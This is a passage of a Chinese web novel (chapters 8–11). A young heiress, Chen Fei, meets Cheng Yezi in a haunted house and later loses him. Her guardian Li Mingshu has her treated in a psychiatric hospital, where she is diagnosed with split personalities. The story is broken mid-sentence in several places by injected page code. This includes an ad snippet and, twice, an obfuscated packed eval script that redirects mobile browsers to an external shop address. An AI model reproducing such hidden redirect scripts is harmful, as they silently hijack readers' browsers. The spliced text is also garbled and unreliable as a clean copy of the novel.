一旁的陈非着急去玩下一个项目,又准备催促时,就见程叶子伸出食指,虚虚点了点远处的城堡:“玩那个吧。” 管他玩什么,能玩就行! 陈非拽着程叶子就往那边跑:“那走啊!” 走近了程叶子才注意到名字,顿时打起了退堂鼓:“哎哎,还是算了,我们再玩一轮跳楼机好了。” 陈非顺着他的视线看去,看到名字更兴奋了:“不,就玩这个!” 鲜血淋漓的招牌上写着——城堡惊魂夜。 8. chapter 08 城堡惊魂夜,这名字一听就不是什么好地方,程叶子挽着陈非的手臂想。 站在门口检票的老板冲他们嘿嘿一笑:“别害怕,我们这鬼屋就是个形式,不吓人的,你要是真害怕,闭着眼睛走出去就好了。” 程叶子望着不远处阴森森的大门,没吭声。 推开沉重的城堡大门,陈非一脸兴奋地走了进去。 里头确实很黑,伸手不见五指,只有远处一点幽幽绿光亮着,那是安全出口的指示牌。 “一个大男人还怕黑啊?”陈非拍了拍程叶子的手背,“没事,有我在,什么妖魔鬼怪都别想靠近你。” 程叶子还是没吭声,不过整个人几乎贴在了陈非身边。 黑暗里突然亮起红光,一个比人高大的黑影朝他们扑上来,程叶子手上猛地用力,差点叫出声来,黑影扑过来的一瞬间,灯光骤然熄灭,陈非伸手揽住了程叶子的肩膀,把人搂进怀里往前走。 “你看,我就说没事吧。” 也许是因为鬼屋里太过黑暗,程叶子还是第一次注意到陈非的声音真的很好听,她的声音不是那种温柔的调调,很平静,很淡定,但就是蕴涵了一种抚慰人心的力量。 程叶子从她怀里挣出来,站直身体,有点不好意思,低声问道:“女孩一般不都怕黑怕鬼吗?怎么你好像一点都不怕?” 陈非笑道:“我也不知道,反正就是不怕。” 程叶子:“真好。”语气里带着羡慕。 “其实也不好。”陈非边走边说,“什么都不怕的话,也会丧失很多乐趣啊,比如刺激。偏偏我就很喜欢心脏怦怦跳的感觉。” 程叶子无法理解:“怦怦跳有什么好的,跳太久的话,心也会累吧。” 陈非顿了顿:“也是。但我就是喜欢。” 她感觉到程叶子挽着她的手在慢慢往回收,赶紧伸手抓了回来,握在手里:“我还喜欢你,跟你在一起的时候,我的心也会怦怦直跳。” 程叶子的脸一下热了起来,想抽回手,却先一步被扣住了手指。 他们在黑暗里十指相扣。 程叶子忽然不觉得害怕了。 鬼屋的最后一关是解密环节。 “很久很久以前,有一位美丽的公主被巫师施了魔法,她被锁在城堡里,无法入睡。据说只有王子深情的一吻才能唤醒公主。后来,一位英俊的王子攻占了城堡,救出了公主,然而,公主却杀死了王子。为什么?” 陈非念完题目,皱起眉头:“什么意思?难道这公主其实是敌国派来的卧底杀手?” 程叶子有点无语,摇了摇头:“我觉得应该不是这个答案。” 陈非又猜:“那不然就是王子长得太丑,公主忍无可忍就把人杀了。” “应该也不……” 陈非打断道:“那你说答案是什么?” 程叶子盯着那段文字沉默许久。 陈非眼看旁边沙漏里的沙子快要漏完了,时间一到,他们就要重新闯关,第一次玩是好奇,第二次她就觉得是浪费时间了,虽然是第一次进鬼屋,但她已经完全失去了好奇,可不想再玩一次。 于是她忍不住催促程叶子:“你想出来没有?” 程叶子低声道:“等一下。” 沙子彻底漏完的同时,程叶子抬起头,对着墙上的摄像头说:“答案是,睡美人老了,王子却那么年轻,怕他变心,所以杀了他。” 陈非皱眉,正想说这叫什么破答案,人家好心救你,你反倒想多了觉得人家会喜欢你这个老公主,还变心? 她真是憋不住笑了,这不纯纯臆想症患者嘛。 然而天花板突然传来一声“bingo”,一道冰冷的机械女声说:“恭喜你,顺利通过所有关卡!” “什么啊。”陈非带着疑惑走了出去。 刚出去就立马逮着程叶子问:“你给我解释解释,为什么答案是这个?” 程叶子缓缓说道:“已知,熬夜会加速变老,公主被巫师施了魔法不能睡觉,所以她肯定比同龄人老很多。那个‘后来’,没说是多久的后来,可能是几个月,也可能是几十年,你想啊,一个人要是常年被关在同一个地方,长时间得不到自由,心理一定会发生变化,思维也会跟正常人不同。” 陈非似懂非懂地点点头,听他继续往下说:“所以……我是站在公主的角度在思考,我想,她在常年的关押中已经彻底失望了,于是当她重获自由时,她反而无法习惯了,因为自由意味着变数,她习惯了一成不变,在发现变数的时候就会感到熟悉的恐惧。” 陈非越听越不对劲:“我怎么觉得……你说的好像你就是那个公主呢?” 程叶子扯了扯嘴角:“也许吧。但我绝不会选择杀人。” 即使真的到了那一步,我也只会选择杀了我自己。 “不一定。”陈非笑着说,“真要说的话,人本身其实就是个未知的变数,小叶子,你还没走到那一步,所以啊,不用这么急着下判断,谁能保证杀人就一定是错的?说不定杀人只是为了挽救更多人呢,是吧?” 程叶子知道她是在宽慰自己,淡淡一笑,点了头。 远处,贩卖气球的高个子男人转过身去,将手里的气球缠绕在路边的垃圾箱上便离开了。 李明书拉开车门,坐进车里,车窗可以从里面看出去,从外面往里却什么也看不到。 他看着远处的陈非,穿着印了卡通图案的宽松T恤和牛仔裤,长发扎成两个麻花辫搭在肩头,头上戴了个毛绒小玩偶的发箍,正在对着面前的空气说话。 他莫名想到了少年时期的小叶子,他心想,另一个小叶子此刻是不是就站在那里? 他很好奇她们在聊些什么,但他刚刚试着走近去听,听是听见了,但却没听懂,什么公主,什么自由变数,他越听越疑惑。 他只好坐在车里,目送她们走远,然后驱车离开,从另一条路先一步绕回庄园,他到了没多久,派出去的保镖才回来。 保镖已经汇报到了陈非离开游乐场,但李明书的思绪却还停留在刚才保镖所说的鬼屋谜题上,他隐约想起了一些事,小时候的事,关于小叶子的,那些不为人知的秘密。 他冷不丁抬起头,问保镖:“你刚才说什么?” 保镖一愣,又重复一遍:“大小姐现在人在酒店。” 李明书咬了咬牙:“哪个酒店?” 保镖说:“松、松木。” 松木酒店客房走廊,程叶子摁住门把手,犹豫开口:“你……真的想好了?” 陈非认真严肃地看着他,郑重点头:“嗯。” 程叶子一把将打开的房门关上,又说:“你以后肯定会后悔的。” 陈非笑了笑:“以后的事,以后再说,你快让开,等会房卡掰断了。” 程叶子被推到一边,着急地跟进房间:“那个杀人犯要是真跟过来你要怎么办?还是算了,我们回去吧!” 就在刚刚,从游乐场出来,陈非忽然提出到酒店来,因为她隐约感觉今天一直有人跟着他们,她想着来都来了,不能空手而归,再怎么说也该亲眼看看那个杀人犯到底长什么样子,她还就不信了,这人会有天大的本事能从她手上逃出去。 程叶子不知道,她从小就被逼着学习各种防身技巧,因为 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 男女天生优劣势不同,所以老师教她的大多都是杀招,一招毙命的那种,她当然不会在酒店杀人,这里到处都是监控,要不了半小时警察就查到她了。 她会选在这里,只不过是因为松木酒店每层楼都是封闭式的,没有房卡连电梯都坐不了。 如果杀人犯想从逃生通道离开,那这人一定会撞见她提前打点好的清洁工,到时候就算人跑了,她至少也能知道这人长什么样。 不管怎么想,这个计划都是绝对不亏的,再说,最重要的是,他们还可以顺带在房间里看麓阳的夜景。 她还从来没在这么高的地方看过夜景呢。 陈非突然转身靠近,程叶子浑身一抖,吓得连连后退:“你干什么?” “你说我干什么?”陈非一边说一边继续靠近,“都到这儿了,还能干什么?” 程叶子退到了床边,脚后跟用力抵着,没让自己倒下去,声音里带了点怒意:“你正经点儿行不行!” 陈非伸出手,一手抓住他脖子,另一只手拽住他胳膊,大步上前,转瞬间将人按倒在床上。 程叶子整个人陷在柔软的被子里,灼热的身体紧贴着他,他愣了一下,随即挣扎起来想把人推开,但陈非跟牛似的,力气贼大,愣是把他按在那儿动弹不得。 “他要是来了,我就这么摁着他,让你问个清楚,怎么样?”她说。 程叶子靠着脖子的力量僵硬地抬起头:“我说,你下次能不能用嘴说?” 陈非:“哦。” 她放开了程叶子,快要起身时,突然弯下腰凑上去,飞快亲了他一下。 “啾。” 蜻蜓点水一样轻。 陈非迅速起身离开,程叶子瞪大眼睛捂住嘴,气冲冲地说:“你再搞偷袭,我以后每次见你都戴口罩了!” 陈非站住脚步,转过身来,挑眉道:“噢?那你的意思是,不戴口罩的时候,我就能随便亲你了?” “你!”程叶子紧紧揪着被子,被单皱巴巴的,就像他此刻的心情。 他发现每次陈非亲他,他就会感觉到心脏停止跳动,但不是因为紧张。 而是……他说不好,总之身体会涌上来一股奇怪的感觉,就好像他随时都会消失不见。 陈非笑着摇头,心说,还真是越看越可爱。 她走到窗边,远远看去。 麓阳可真大啊,这可比她的庄园大多了,也更热闹了。 她喜欢热闹。 门铃声忽然传来,程叶子立马看向陈非,眼神里透着恐惧。 陈非经过他身边时无声的做了个口型:别怕。 她走到门边,房间安装的是可视门铃,她可以清楚看到站在门外的人是谁——送餐员。 “您好,我是酒店的工作人员,来给您送餐的,麻烦您开一下门。” 门打开,送餐员推着餐车走进来,程叶子真想问问,他们就两个人,有必要点这么多吗? 送餐员一走,陈非便解释道:“我不知道你喜欢吃什么,所以每样都点了。” 程叶子无奈叹气:“知道你有钱,可有钱也不是这么花的好吧。” 陈非原本还想说后面的餐食还需要一些时间才能做好,这些最多只能算是开胃菜,但她看程叶子的表情不太对,想了想还是决定不说。 她不动声色走到床边,拨通了前台电话,但里面传来不是甜美的女声,而是一道低沉的男声:“陈非,你睁开眼睛好好看看,他究竟是谁?” 陈非一瞬间便联想到了程叶子口中所说的杀人犯。 没等她开口,那人又道:“看着吧,你迟早会害死他。” 9. chapter 09 砰! 房门重重打开,一个修长的身影快步进门,陈非转头看去,就见李明书绷着脸站在那,看起来很生气。 陈非愣了一下,听到了电话挂断的声音,再开口便已经晚了,电话那头只剩下“嘟——嘟——”的声音。 “你在干什么?”李明书站在那儿,语气严肃。 陈非还是第一次见他对自己这样一副态度,不免愣了一下:干什么?要你管。 然而李明书大步走了上来,走到陈非近前,弯下腰,一只手按在她肩上,俯视她:“我问你在干什么。” 陈非皱眉:“什么干什么?” 她的视线往旁边一瞥,猛地发现刚刚还在这的程叶子,现在居然凭空消失了。 她不禁想到当时在衣柜里的那次见面,于是视线一动,转了回来,越过生气的李明书,看向他后方的嵌合式衣柜,想着,那个胆小鬼会不会又躲在里面了? 李明书忽然屈起膝盖跪在床上,加重了手上的力道,陈非有些措手不及,回过神想发力,却已经错过了最好的还手机会——她被死死摁住了。 李明书的左边膝盖抵着她的左手和大腿,右边膝盖陷在柔软的被子里,他的右手撑在她脸侧,剩下最后那只手,慢慢捧住了她的脸。 他们的距离近到,陈非甚至可以从他眼睛里看见自己。 “哑巴了?”李明书双目充血,声音有些颤抖,“我问你话呢!” 陈非本来有点生气,毕竟很少有人敢这么吼她,但她看李明书这么生气,心里的火气反倒下去了,一脸疑惑地问:“你在发什么疯呢?” 李明书眉头紧锁,眼里的怒气转瞬消失,他像是刚刚想起什么似的,一脸恍然,下一秒,松开了对陈非的钳制。 陈非手腕泛红,起身坐在床沿,一边揉一边说:“喝了多少啊,醉成这样?都敢把我摁床上了。” 李明书站在床边,眼眸低垂,又恢复了以往的状态,低声道:“对不起小姐。” 陈非反手撑在床上,仰头看他:“说说吧,到底怎么回事儿?” 李明书:“没什么。” 陈非沉默地看着他,忽然冷笑一声:“你派人跟踪我?” 李明书缓缓眨了眨眼:“是。” 陈非若有所思地点了头,没有像以前一样立马发火,而是静静地凝视李明书的眼睛,良久才说:“你在吃醋?” 如果不是吃醋,她想不明白刚才这人为什么要那么激动。 李明书做事从来都有目的,他表现出来的一切都是他算好的,但这次她觉得似乎不是。 他真的失态了。 在她面前。 她隐隐感觉到手腕传来的痛感,不自觉浮现出刚才李明书冲进房间的画面,那种状态的他,似乎不仅仅是吃醋那么简单。 李明书绷着脸没说话。 陈非深吸一口气,站起身,从他身边经过,接着在房间里到处走动,偌大的房间里,哪里都找不到程叶子的身影。 真被吓跑了啊。 李明书皱着眉盯着她看,许久才问:“你在找什么?” 陈非说:“没什么。” 李明书:“……” 又换上以往那副平和的语气:“跟我回去吧。” “不,我还有事,你自己回吧。”陈非说完就往门口走。 李明书追了上来,在她身后说:“有什么事,我可以去帮你办。” “你办不了,这事儿只能我自己办。”陈非说。 程叶子说过不能让第三个人知道,所以就算她想不出办法也不能告诉别人,何况是李明书这种精明人。 指不定会以程叶子被人追杀也会威胁到她身上为由,把人赶出去。 她好不容易才找到的人,还没完全攻略下来呢,怎么可能轻易放手,所以她根本不打算把这件事告诉李明书。 不管他怎么问,都是徒劳。 “好,那我陪你一起。”李明书说。 陈非拉开门的动作一顿:“不用。” 李明书像是没听见,依旧跟了上来,陈非停住脚步,转过身去看着他:“你没有跟我说实话,那就别想听我说实话。” “我知道你有事瞒着我,你愿意瞒,那你就继续瞒下去,瞒一辈子都行,我不在乎,但我希望你也别来干涉我的事,大家井水不犯河水,各自安好就行。” 她这次没有说完就走,目光紧紧盯着李明书,像是要从他眼睛里看出什么,可惜,她看的人不是程叶子,没办法轻易看出什么,她忽然笑了,转身走向电梯间。 李明书这次没有跟上来。 他拿出手机给陆宁打了个电话。 陈非到处都没看到程叶子的身影,她跟前台描述了一下程叶子的外形,三个前台都摇头说没看见。 麓阳这么大,她不知道该从哪找起。 她拿出手机想给程叶子打电话,也是这时候,她才想起来自己根本没有他的电话号码。 她突然有点后悔,想着今天其实不该出来的,但事已至此,后悔也没用。 陈非在路上漫无目的的走,她正沉浸在可能再也找不到程叶子的失望里,丝毫没察觉到李明书在她身后远远跟着,他们一起走过了一条又一条街。 漫长的街道,漫长的心情,陈非一边走一边叹气。 她发现身边没了程叶子之后,世界竟然这么安静,安静到某个瞬间她以为世界只剩她一个人了。 天色渐渐暗沉下来,一道惊雷响起,大雨来得突然,打得陈非措手不及。 没几秒,她浑身都湿透了。 她想,说不定程叶子自己先回去了。 虽然她也清楚这个可能性不太大,但心里还是立刻抱了一丝希望。 她冒雨走到路边打算拦车,开出来的车停在酒店地下停车场忘了开,现在她懒得再回去。 也许是因为下雨天,路上出租很少,半天看不到一辆。 雨水浇湿了她的麻花辫,湿淋淋的搭在肩头,额前掉落的发丝粘附在脸上,她眼睛有点红,面色发白,整个人看上去有些病态。 她回过神来时,李明书已经开车停在路边,他迅速下车打着伞过来,自然地揽过她肩头,打开车门让她坐进了温暖宽敞的后座。 十月的天气说变就变,下午还是艳阳天,现在就开始下暴雨了。 陈非冷得发抖。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13980471|148098||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“小姐,我现在打开隔间,你在里面把湿衣服先脱下来吧。”李明书说着话,前座与后座之间的黑色挡板便开始缓缓合拢。 挡板是自动的,表层包裹了漆黑绒面,是那种摸上去非常柔软的手感。 陈非听得断断续续,只觉得脑袋有点昏沉,坐在那里直往后仰。 李明书看到了,只好按下暂停键,挡板留了一条缝,他柔声道:“小姐,你现在是不是很想睡觉?” 这句话陈非听到了,半睁着眼睛点点头。 她现在就像个考拉一样,所有动作全都放慢了,能看出来她在挣扎着不让自己睡过去,挣扎了半分钟,李明书又喊了声“小姐”,陈非这次什么动作都没有,静静躺在后座一动不动了。 “想睡那就睡吧,等你醒过来,一切都会变好的。”李明书收回目光,重新按下暂停键,挡板缓慢合上了,不留一丝缝隙。 等到陈非再醒来的时候,人已经在卧室里了,她蹭的一下坐起身,房间里亮着柔和的暖光,她不知道自己这一觉睡了多久,就这么愣了一秒,随即翻身下床,直奔客房。 小叶子回来没有? 都这时候了,肯定回来了吧? 她甚至没发现自己是光着脚的。 黑暗里,啪嗒啪嗒的脚步声渐渐走远,不知过去多久,一个人影慢慢从蔷薇花丛背后走了出来。 今晚乌云蔽月,光亮微弱,那道人影也显得极其朦胧。 人影在原地站了许久之后,接着走进了陈非的卧室。之后,再也没出来过。 “小叶子?” 陈非在黑暗里轻喊一声。 无人回应。 她打开房间的灯,环顾四周,空荡的房间里不像是有人住过,反而像是废弃了很久,她一步步走到床边,蹲下身,掀开床单,床底空无一人。 她站起身,走到了隔壁的衣帽间,打开每一个柜门,结果也一样。 都没有程叶子的身影。 程叶子就这么消失了,在她完全没预料到的情况下,凭空消失了。 她莫名有种感觉,好像这个人其实从来都没有存在过,一切都只是一场梦而已。 陈非不死心,在房间里来回走动,好像今晚不找出这个人存在过的痕迹就绝不会罢休一样。 直到她发现了床上的灰尘。 人躺过的床怎么会有灰尘呢?她忽然觉得自己实在很蠢,这么简单的真相都看不出来。 她像是失去了所有力气一般,仰面躺在了床上,望着天花板,深深呼出一口气。 程叶子,你真的是我的一场梦吗? 如果是的话,那这场梦未免也太真实了。 陈非不知不觉睡了过去,再睁眼时,已是天光大亮。 她顶着一头乱糟糟的长卷发走出客房,这才发觉自己的拖鞋不知道跑哪儿去了,她没在意,往卧室方向走去。 一股凉风吹进客房,床单被吹进了床底,卷起地板上细小的灰尘。 一只七星瓢虫忽然飞落进去,风停了,它开始在床底下四处乱撞,不知触到了什么位置,突然之间,床底板和地砖都变得透明,暖光从四面八方缓缓散开,照亮了整个空间。 10. chapter 10 陈非回到房间,重新躺回床上。 她倒是没打算继续睡,就是纯纯不想起,不知是不是睡得太多了,她脑子跟塞了一锅粥似的,怎么都转不动。 程叶子突然消失这件事对她来说,多少有点打击,不过那就是个男人,虽然长得是好看了点,但说到底就只是个来路不明的男人而已,突然出现又突然消失,这种情况放在哪里都很合理。 也许这从头到尾都只是一场骗局而已,一场针对她设下的骗局,可能是发现钱不在她手上,所以就放弃了。 程叶子没留电话,也没说自己住哪儿,就这么不告而别,为的就是让她找不到人。 她有钱有颜,要什么样的男人还不是手到擒来? 一个小叶子又算什么。 想到这,陈非从床上坐起身,扭头看向远处墙上的挂钟。 已经快要中午了,李明书居然还没来叫她吃饭? 她翻身下床,走出房间,走出没几步又折了回来,她发觉自己换了身睡衣。 要知道,李明书为了让她没朋友,不管男女,一律不准接近庄园后方的私人住所,平时出入最多的就只有他自己,所以昨晚给她换睡衣的人是谁,她能想到的人,只有他。 这个李明书,最近胆子是越发大了! 她抬手摸了摸披在肩头的长发,发丝带着淡淡香气,柔顺的长发,哪里像是淋过雨的样子? 她必须要找李明书问个清楚! 陈非换好衣服走出房间,很快来到了李明书的卧室门口,她没敲门,直接推门进去,屋里很黑,应该是窗帘完全拉上了,外面的阳光愣是一点儿都照不进来。 “李明书,你在搞什么啊?”她在黑暗里开口,伸出手摸黑往前走,“怎么灯都不开?” 李明书不吱声,也许是根本不在。 陈非来他房间的次数屈指可数,因为装修风格不同,所以她迟迟没找到灯源开关在哪。 “李明书我警告你啊,别跟我装神弄鬼的,小心我……” 陈非话音一顿,她听到了黑暗深处隐隐传来的呼吸,又浅又轻,不觉让她联想到电视剧里那些病重快死了的角色。 她循着呼吸声走近,一只大手忽然握住了她的手腕,随即灯亮了。 冷白的灯光照亮房间一方天地,单手撑在床上正欲起身的男人,不是李明书还能是谁? “小姐?”李明书声音很轻,嘴唇发白,眼圈下泛着黑青,“你醒了。” 一副病相。 说话时,语调轻飘飘的,带着点刚刚睡醒的沙哑。 陈非看着他这副病秧子样,一时忘了挣开。 “你……你感冒了?” 李明书的目光闪过一丝惊诧,那丝惊诧转瞬便消失得无影无踪,转而被一抹温柔笑意代替:“嗯,是啊,重感冒。” 他还握着她的手腕没放。 他的注意力都在她的脸上。 陈非被看得直皱眉头,她本来是过来问罪的,结果人家重感冒,她也不好再说什么。 见她紧抿着嘴不说话,李明书唇角缓缓扬起,柔声道:“你担心我啊?” 陈非立刻摇头:“谁要担心你啊,我走了,你自己好好休息吧。” 说完,她把手从李明书手里抽出来,转身就走,走出没多远又转过身来,说:“你昨天把我送回来的时候,看到我手机丢哪儿了吗?” 李明书的目光就在听到“昨天”两个字时顿了一下,缓缓摇头说:“没看到,会不会是……被你忘在哪儿了?” “不可能。” 陈非对自己的记忆力向来自信,不觉得是弄丢了还不记得,本来一个手机不算什么,主要是那个手机里还有她和程叶子的合照呢,眼下人都不告而别了,那些照片也就成了最后的纪念。 她只是念旧,不是在乎这头小绵羊。 她的不在乎都在这一刻抛在脑后,又说:“要是被谁捡到了你花钱也好,明抢也行,反正你尽快派人帮我找回来。” 李明书不动声色:“好。” 陈非再次来到了外边的环廊上,环廊往外,中间是花园,她刚才走得急没注意,此时才发现,很多花都已经落光了,只有少数一些耐寒的品种还□□着没落下。 她走近几步,走到开得正盛的花丛边上,接着蹲下身,查看地面的脚印。 她一看就觉得熟悉,好像在哪儿见过。 李明书病了,大概是不会有赏花的心情,但这里平时禁止外来人随意进出,所以也不会是外人的,那就只剩…… 她忽然回头,看向自己身后的脚印。 她这才明白为什么这么眼熟,原来是她自己的脚印。 可她不记得最近来过这里,再说昨天不是下了那么大一场雨,就算是之前留下的脚印也应该被雨水冲掉了才对,怎么会留到现在? 这很奇怪。 与此同时,黑暗的房间里,李明书坐在床上,手里拿着冰冷的手机。 手机是陈非的,两个月前的那个大雨天,他趁她昏迷之后偷偷拿走的。 他摁亮手机屏幕,屏保照片是陈非的自拍,角度很奇怪,就好像她身旁空着的位置其实站了个人。 一个他看不见的人。 在陈非那里,这个人应该是真实存在的,书上是这么说的,陆医生也是这么说的。 那天他听到手下说陈非去了酒店,立马想到了陆医生以前提过的自杀倾向,他见过很多患上精神病之后偷偷自杀的例子,松木酒店很高,从那上面跳下来绝对没有活路,所以他那天才会那么慌张。 去酒店路上,他一颗心狂跳不止,满脑子都是失去小叶子的血腥场面。 好在陈非没这么做,是他多虑了。 如果那天陈非愿意跟他回去,后面的事也许就不会发生,偏偏她不愿意。 她一定不知道自己那天在雨中走了多久,他看过很多书,清楚这其实是一种轻微的自残倾向,正常人都知道淋雨会感冒,就算是喜欢淋雨的人,也不会像她一样,把自己淋到高烧昏迷。 她的病情越来越严重了,他必须要做点什么,否则他极有可能连在她身旁陪着都成了奢望。 于是他只能把她带到陆宁所在的精神病院接受住院治疗。 经过一系列的扫描检查,陆宁结合他所说的一些情况下了初步诊断:陈非已经不是幻视幻听那么简单了,她的大脑扫描各项结果显示异常,确定为精神分裂症。 精神分裂? 李明书到现在都还记得陆宁说出这几个字的时候,他恍 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13980472|148098||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 惚了多久才回神。 陆宁说:“现在人处于昏迷状态其实是最危险的,这么说吧,精神分裂症的患者在熟睡时,很容易被其他人格占据意识,也就是常说的人格切换。” 李明书当时问过,如果换到了另一个人格,以后还能不能再换回来。 陆宁说要看患者本身的意识够不够强大,可以强大到完全掌控自己的意识和身体控制权,那就能随时换回来。但如果不能,可能几天,也可能几年,甚至永远都不会换回来。 李明书听到这个“永远”时,心头狠狠颤了一下,他知道另一个人格就是原本的小叶子,那个会在雷雨天的夜晚,要他陪着一起睡觉的小叶子,在陈非的身体里,一睡就是这么多年。 可这么多年却好像一眨眼,一回神,他发现他其实早就把陈非当作了原本的小叶子在照顾,相处多年的感情即便掺杂着恨,也是难得。 真要说起来,其实他和陈非在一起的时间更多,幼年时的小叶子,早就不知何时已经离他远去了。 陈非是在住院第三天醒来的,陆宁第一时间给他打了电话,一小时后,他站在了陈非面前。 难得,昏迷三天醒来后的陈非,眼里没了嫌弃、恨意,只剩茫然。 李明书看着陈非苍白的脸,喉咙哽了几下,没发出声音,一旁的陆宁说:“别担心,刚开始服用药物,难免有些不良反应。” 第五天,第十天,陈非还是那副茫然呆滞的模样。 李明书几乎每天都来,没有探视时间就想别的办法多看几眼,有时候是出资扩建医院,有时候是用高价定制的望远镜偷看。 那段时间,他觉得自己都有点魔怔了。 陆宁也提醒他放平心态。 他不在意陆宁的话,因为陆宁不知道小叶子,不,该说是陈非才对,没人知道陈非对他来说有多重要。 就连他自己,也是不久前才知道的。 约莫是半个月后的某个晴天,陈非开口说话了,说的第一句话,是明书哥哥在哪儿? 这话是陆宁在电话里转述给他的。 听到这话时,他居然会觉得难过。 这世上除了小叶子会这么叫他,没有别人,他确定醒过来的那个人格,绝不是陈非。 李明书赶往医院途中又接到了陆宁的电话,他的心里莫名涌上来一股不好的预感,觉得好像有什么坏事就要发生了。 果不其然,他听到陆宁在电话说:“李先生,你今天可能不用过来了。” “陈非怎么了?” 听到答案的一瞬间,李明书突然注意到自己就快要撞上对向来车,这一秒他慌了,于是判断失误,猛打方向盘,用力踩下了刹车,一声尖锐刺耳的急刹车响起,随即咣当一声巨响,他撞上了路旁的电线杆,整个人失去了意识。 他趴在安全气囊上,感觉到额头的鲜血流了下来,湿湿的,凉凉的。 短暂的眩晕过后,他清醒过来。 他打开车门下车,无视了手机里陆宁着急的喊话,也无视了对向司机的咒骂,他的每一步都走得很恍惚,耳边的声音越来越小,最后只剩下刚才陆宁在电话里说的话。 “她的另一个人格刚刚苏醒了,这次是个男人,他说在找一个人,那个人叫陈非。” 11. chapter 11 程叶子睁开眼,映入眼帘的是一片洁白。 他从床上坐起身,低头看向自己的衣服,蓝白条纹,一看就是病号服,他知道这里是病房,但他不知道为什么在医院。 他翻身下床,到洗手间仔细检查了一番自己的身体,没有受伤,也没有任何不舒服。 在他印象中,记忆里最后一幕,就是他在松木酒店的房间里,突然听到了门外传来的脚步声,那阵脚步声很急促,很耳熟,他不受控制地想起了幼年时的那段黑暗时光。 也就是一眨眼的功夫,他就躺在了医院病床上。 这太奇怪了。 难不成跟之前一样,又失忆了? 他想出去,却发现房门居然打不开,他只好来到半封闭的窗边往外看,看到楼下花园里全都是身穿病号服的病人,几乎每个病人身边都跟着护士,还有零星几个穿着白大褂的医生。 他的目光落在陆宁身上时,整个人突然愣住了。 这个男人为什么会出现在这里? 看他穿着,难道他是医生? 程叶子惊呆了。 楼下陆宁也许是察觉到了他的目光,忽然抬头看来,对上视线的一瞬间,程叶子往后一退,踉跄了好几下。 他的思绪简直一团乱麻,他现在又多了一个疑问:他自己会出现在这里,该不会就跟那个杀人犯有关系吧? 如果是那样的话,那他被关在这,也一定跟那人有关。 他感觉自己现在就像养在玻璃水缸里的一条金鱼,随时随地都处于监视之中,没有任何选择的权利。 这太可怕了。 就在这时,他听到了门外的脚步声。 有人来了。 程叶子心跳如雷,有那么一个瞬间,他觉得这阵脚步声跟当时酒店房间外面的脚步声一模一样。 下一秒,他的整个世界都开始被黑暗吞噬,直到完全失去意识。 “陈非,醒醒。” “陈非……” 陈非? 程叶子再次睁开眼睛,一眼就看到了站在床边的陆宁,顿时露出了惊恐的表情,整个人差点从床上滚下去。 护士们面面相觑,都不太理解病人为什么这么害怕陆医生。 陆宁长相清俊,性格温和,整个人看上去就透着一股温文尔雅的气质,她们还是第一次见到这么害怕陆医生的病人,一时间,都有些困惑。 “别怕,我们不会伤害你,这里是医院,没有人会伤害你。”陆宁眼神关切,伸出手想要将他扶起,但他立马往后缩了缩,躲开了他的好心。 陆宁蹙眉,不明白人格切换的时间为什么会这么短,他看着陈非的状态,很快得出了一个不太妙的判断:如果刚才开口说话问明书哥哥在哪儿的人是第二人格,那么现在这个,必然就是第三个了。 三重人格。 情况比陆宁最初设想的还要严重。 有护士自告奋勇上去扶程叶子,手刚伸出去就被甩开了,程叶子保持着坐在地上的姿势往后退,连着退了很远,一直退到墙角才停下。 那名护士对陆宁摇了摇头,那意思很明显,患者现在的状态估计是没法探视了。 陆宁让几名护士全都出去,病房里转瞬只剩下他们两人,起初他没说话,程叶子也瞪着他不说话,他释放出纯良无害的笑容,柔声道:“你别怕,我是这里的医生,我叫陆宁,我想,你应该是认错人了。” 陆宁刚才看到陈非的第一眼就察觉了,这人不是在害怕所有人,而是单单害怕他一个而已。 他见过一些人格分裂症患者,知道他们在变换成其他人格之后,就会变成另一个人,人格之间性格各不相同,大多都相反,一个冷静,另一个必然慌乱,一个爱哭,另一个极有可能爱笑。 他见过陈非,也见过了李明书所说的小叶子,现在……他又见到了第三个。 程叶子能感觉到这个叫陆宁的医生对自己没恶意,但他始终觉得这种温柔应该是装出来的,否则要怎么解释陆宁跟那个杀人犯长得那么相像的事实。 “我……我没有生病,也没受伤,我为什么会在这里?” 陆宁蹲下身,稍微靠近了一点,故作惊讶:“你不知道吗?是你自己自愿住进来的。” “不可能。”程叶子非常笃定。 他脑子里可没有关于自愿住院的任何记忆。 陆宁说:“真的不记得了吗?你已经住了半个月了。” 程叶子还是那句话:“不对。” 陆宁目光落在他的腕带上,那上面写的名字是陈非,要是被第三人格看到的话,可能会导致更严重的后果。 他不动声色地移开目光:“什么不对?” 程叶子正准备开口,不知想到了什么,突然提高了声音:“陈非呢?我明明跟她在一起的,她人呢?你帮我把她找出来!” 陆宁心头一震,眼里闪过一丝惊诧,程叶子的话,他听得很清楚,但正是因为听得很清楚,所以才感到无比惊讶。 你试着想象一下,某一天,你的朋友突然很激动地看着你,说要找她自己。 这画面要多惊悚有多惊悚。 就连陆宁这种身经百战的人都不自觉愣了几秒。 “我可以帮你找,但你要先告诉我,你还记得自己是谁吗?” 程叶子说出自己的名字,十分简洁的做了个自我介绍,陆宁听完,更愣了。 带三个人格,是个男的。 